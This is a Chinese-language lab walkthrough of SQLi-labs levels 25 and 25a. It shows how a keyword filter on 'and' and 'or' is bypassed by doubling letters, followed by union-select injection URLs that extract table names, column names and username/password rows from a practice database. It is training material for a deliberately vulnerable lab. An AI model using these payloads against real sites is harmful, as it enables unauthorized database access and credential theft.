SQLI-labs-第二十五关和第二十五a关
目录
第二十五关
1、判断注入点
2、判断数据库
3、判断表名
4、判断字段名
5、获取数据库的数据
第二十五a关
1、判断注入点
2、判断数据库
第二十五关
知识点:绕过and、or过滤
思路:


通过分析源码和页面,我们可以知道对and和or 进行了过滤,我们需要绕过这些过滤,常见的绕过方式有大小写,双写,编码等
1、判断注入点
首先,我们输入正常的数据,看看回显

接着加入单引号
http://127.0.0.1:3306/Less-25/?id=1'

数据库语句报错,说明存在闭合问题,我们加入注释符
http://127.0.0.1:3306/Less-25/?id=1' --+

数据正常回显,说明这里的闭合方向正确,存在单引号的闭合问题


这里可以看到输入and、or被过滤掉了
尝试一下大小写混合,发现也是不行


这里因为源码对大小写进行忽略

/i的作用就是忽略大小写
我们尝试使用双写绕过
http://127.0.0.1:3306/Less-25/?id=1' anandd 1=1 --+

http://127.0.0.1:3306/Less-25/?id=1' oorr 1=1 --+

说明双写可以绕过
判断字段数
http://127.0.0.1:3306/Less-25/?id=1' oorrder by 3--+

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 4 --+

说明当前的表的字段数有三个
判断数据回显位置

2、判断数据库
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,database() --+

3、判断表名
使用group_concat()函数
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

4、判断字段名
以users表为例
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+

5、获取数据库的数据
使用concat_ws()函数
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+

通过修改limit的值可以获取全部数据
第二十五a关
知识点:绕过and、or过滤
思路:


通过分析源码,可以知道跟25关一样,过滤了and、or ,且不区分大小写,所以用双写绕过,而且没有显示报错信息
1、判断注入点
首先,我们输入正常的数据,看看回显
http://127.0.0.1:3306/Less-25a/?id=1

加入单引号’
http://127.0.0.1:3306/Less-25a/?id=1'

报错了,但没有显示具体的报错原因,加上注入符 --+
http://127.0.0.1:3306/Less-25a/?id=1' --+

这里还是报错,以为是闭合方式不对,把 " ') ") 都试了一遍,还是不对,结果看源码,才发现是数值型注入,忽略还有这个类型,把自己给蠢笑了,哈哈哈
http://127.0.0.1:3306/Less-25a/?id=1 and 1=1 --+


这里发现and、or都被过滤,跟上面的思路一样,尝试大小写,双写,结果发现双写可以绕过
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=1 --+

将1=1,改成1=2
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 --+

数据没有回显,但没有报错,这也说明当前是数值型的注入
判断字段数
http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 3 --+

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 4 --+

说明当前表的字段有3个
判断回显位置
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 union select 1,2,3--+
或者 http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,3--+

2、判断数据库
http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,database()--+

接下来的步骤就跟上面的差不多了,可以才参考上面的
这篇文章就先写到这里了,哪里不懂的或者不好的,欢迎指出
相关文章:
SQLI-labs-第二十五关和第二十五a关
目录 第二十五关 1、判断注入点 2、判断数据库 3、判断表名 4、判断字段名 5、获取数据库的数据 第二十五a关 1、判断注入点 2、判断数据库 第二十五关 知识点:绕过and、or过滤 思路: 通过分析源码和页面,我们可以知道对and和or 进…...
Windows、Linux添加路由
目录 一、Windows添加路由 1. 查看路由规则 2. 添加路由规则 3. 添加默认路由 4. 删除路由规则 二、Linux添加路由 1. 查看路由 2. 添加路由 3. 删除路由 4. 修改路由 5. 临时路由 6. 默认网关设置 一、Windows添加路由 1. 查看路由规则 route print 2. 添加…...
Swift 初学者交心:在 Array 和 Set 之间我们该如何抉择?
概述 初学 Swift 且头发茂密的小码农们在日常开发中必定会在数组(Array)和集合(Set)两种类型之间的选择中“摇摆不定”,这也是人之常情。 Array 和 Set 在某些方面“亲如兄弟”,但实际上它们之间却有着“云…...
C++ 类模板 函数模板
类模板 #include <bits/stdc.h> using namespace std; //多少变量就写多少个 template<typename T1, typename T2> class Cat { public:Cat(){}Cat(T1 name, T2 age){this->age age;this->name name;}void print(){cout << this->name << …...
OTP8脚-全自动擦鞋机WTN6020-低成本语音方案
一,产品开发背景 首先,随着人们生活质量的提升,对鞋子的保养需求也日益增加。鞋子作为人们日常穿着的重要组成部分,其清洁度和外观状态直接影响到个人形象和舒适度。因此,一种能够自动清洁和擦亮鞋子的设备应运而生&am…...
GpuMall智算云:meta-llama/llama3/Llama3-8B-Instruct-WebUI
LLaMA 模型的第三代,是 LLaMA 2 的一个更大和更强的版本。LLaMA 3 拥有 35 亿个参数,训练在更大的文本数据集上GpuMall智算云 | 省钱、好用、弹性。租GPU就上GpuMall,面向AI开发者的GPU云平台 Llama 3 的推出标志着 Meta 基于 Llama 2 架构推出了四个新…...
内存泄漏案例分享4-异步任务流内存泄漏
案例4——异步任务内存泄漏 异步任务,代指起子线程异步完成一些数据操作、网络接口请求等,通常会使用以下API: Runnbale,Thread,线程池RxJavaHandlerThread 而这些异步任务很有可能操作内存泄漏,下面我们以Rxjava为…...
【机器学习300问】100、怎么理解卷积神经网络CNN中的池化操作?
一、什么是池化? 卷积神经网络(CNN)中的池化(Pooling)操作是一种下采样技术,其目的是减少数据的空间维度(宽度和高度),同时保持最重要的特征并降低计算复杂度。池化操作不…...
RPA机器人流程自动化如何优化人力资源工作流程
人力资源部门在支持员工和改善整体工作环节方面扮演着至关重要的角色,但是在人资管理的日常工作中,充斥着大量基于规则的重复性任务,例如简历筛选、面试安排、员工数据管理、培训管理、绩效管理等,这些任务通常需要工作人员花费大…...
OpenHarmony开发者大会2024:鸿心聚力 智引未来
2024年5月25日,OpenAtom OpenHarmony(简称“OpenHarmony")委员会以“鸿心聚力,智引未来”为主题,在创新之城深圳举办OpenHarmony开发者大会2024,为开发者、产业组织、生态伙伴和行业客户搭建一个交流、分享和学习…...
新楚文化知网收录文学艺术类期刊投稿
《新楚文化》是由国家新闻出版总署批准,湖北省文学艺术界联合会主管,湖北今古传奇传媒集团有限公司主办的正规期刊。主要刊登文化、文学、艺术类稿件;包括传统文化、非遗、历史文化、地方文化、中外友好文化交流、文学作品研究、艺术研究等方…...
基于vue3速学angular
因为工作原因,需要接手新的项目,新的项目是angular框架的,自学下和vue3的区别,写篇博客记录下: 参考:https://zhuanlan.zhihu.com/p/546843290?utm_id0 1.结构上: vue3:一个vue文件ÿ…...
链游中的代币(Token)或加密货币(Cryptocurrency)是如何产生和使用的?
在区块链游戏(链游)中,代币和加密货币不仅是游戏经济的核心,也是连接现实世界与虚拟游戏世界的桥梁。这些数字货币不仅赋予了游戏内资产的真实价值,还为玩家提供了全新的互动和交易方式。下面,我们将深入探…...
2024年5月23日 (周四) 叶子游戏新闻
《Unclogged》Steam页面上线 马桶主题恐怖逃脱解谜Brody制作并发行,一款奇葩创意马桶主题恐怖逃脱解谜新游《Unclogged》Steam页面上线,本作暂不支持中文。 Meta人工智能主管杨立昆 大语言模型不会达到人类智能水平IT之家今日(5月23日&#x…...
猫毛过敏终结者!宠物空气净化器让你告别红眼和喷嚏
猫毛过敏是一种常见的过敏性疾病,影响着全球数百万人的日常生活。这种过敏反应通常是由于对猫皮屑、唾液或尿液中的蛋白质产生免疫反应而引起的。症状可能包括打喷嚏、流鼻涕、眼睛痒、皮肤疹和呼吸困难,严重影响患者的舒适度和生活质量。对于猫毛过敏者…...
xgboost项目实战-保险赔偿额预测与信用卡评分预测001
目录 算法代码 原理 算法流程 xgb.train中的参数介绍 params min_child_weight gamma 技巧 算法代码 代码获取方式:链接:https://pan.baidu.com/s/1QV7nMC5ds5wSh-M9kuiwew?pwdx48l 提取码:x48l 特征直方图统计: fig, …...
子网划分,交换机原理与配置
子网划分 IP地址 IPv4由32位二进制数组成,一般用点分十进制来表示 IPv4是由32位二进制数组成,分成四组,第组八位。例如:11000000.10101000.00000000.00000010 为了便于配置通常表示成点分十进制形式例如:192.168.0.2 255.255.255.0 IPv6由128位组成&…...
记mapboxGL实现鼠标经过高亮时的一个问题
概述 mapboxGL实现鼠标经过高亮可通过注册图层的mousemove和moveout事件来实现,在mousemove事件中可以拿到当前经过的要素,但是当使用该要素时,发现在某个地图级别下会有线和面数据展示不全的情况。究其原因,发现是mapboxGL在绘图…...
AI重塑了我的工作流
阅读内容 Inhai: Agentic Workflow:AI 重塑了我的工作流 4 种主要的 Agentic Workflow 设计模式 Reflection(反思):让 Agent 审视和修正自己生成的输出。 举例:如果有两个 Agent:一个负责 Coding&#…...
vue使用Less报错semi-colon expectedcss(css-semicolonexpected)的解决方法
1、将 styleint 依赖项添加到项目中 npm install --save-dev stylelint stylelint-config-standard2、在根目录中添加stylelint.config.js文件(与package.json同级) module.exports {extends: ["stylelint-config-standard"],rules: {"…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...
AD学习(3)
1 PCB封装元素组成及简单的PCB封装创建 封装的组成部分: (1)PCB焊盘:表层的铜 ,top层的铜 (2)管脚序号:用来关联原理图中的管脚的序号,原理图的序号需要和PCB封装一一…...
数据库——redis
一、Redis 介绍 1. 概述 Redis(Remote Dictionary Server)是一个开源的、高性能的内存键值数据库系统,具有以下核心特点: 内存存储架构:数据主要存储在内存中,提供微秒级的读写响应 多数据结构支持&…...
node.js的初步学习
那什么是node.js呢? 和JavaScript又是什么关系呢? node.js 提供了 JavaScript的运行环境。当JavaScript作为后端开发语言来说, 需要在node.js的环境上进行当JavaScript作为前端开发语言来说,需要在浏览器的环境上进行 Node.js 可…...
GeoServer发布PostgreSQL图层后WFS查询无主键字段
在使用 GeoServer(版本 2.22.2) 发布 PostgreSQL(PostGIS)中的表为地图服务时,常常会遇到一个小问题: WFS 查询中,主键字段(如 id)莫名其妙地消失了! 即使你在…...
ffmpeg(三):处理原始数据命令
FFmpeg 可以直接处理原始音频和视频数据(Raw PCM、YUV 等),常见场景包括: 将原始 YUV 图像编码为 H.264 视频将 PCM 音频编码为 AAC 或 MP3对原始音视频数据进行封装(如封装为 MP4、TS) 处理原始 YUV 视频…...
【Pandas】pandas DataFrame dropna
Pandas2.2 DataFrame Missing data handling 方法描述DataFrame.fillna([value, method, axis, …])用于填充 DataFrame 中的缺失值(NaN)DataFrame.backfill(*[, axis, inplace, …])用于**使用后向填充(即“下一个有效观测值”)…...
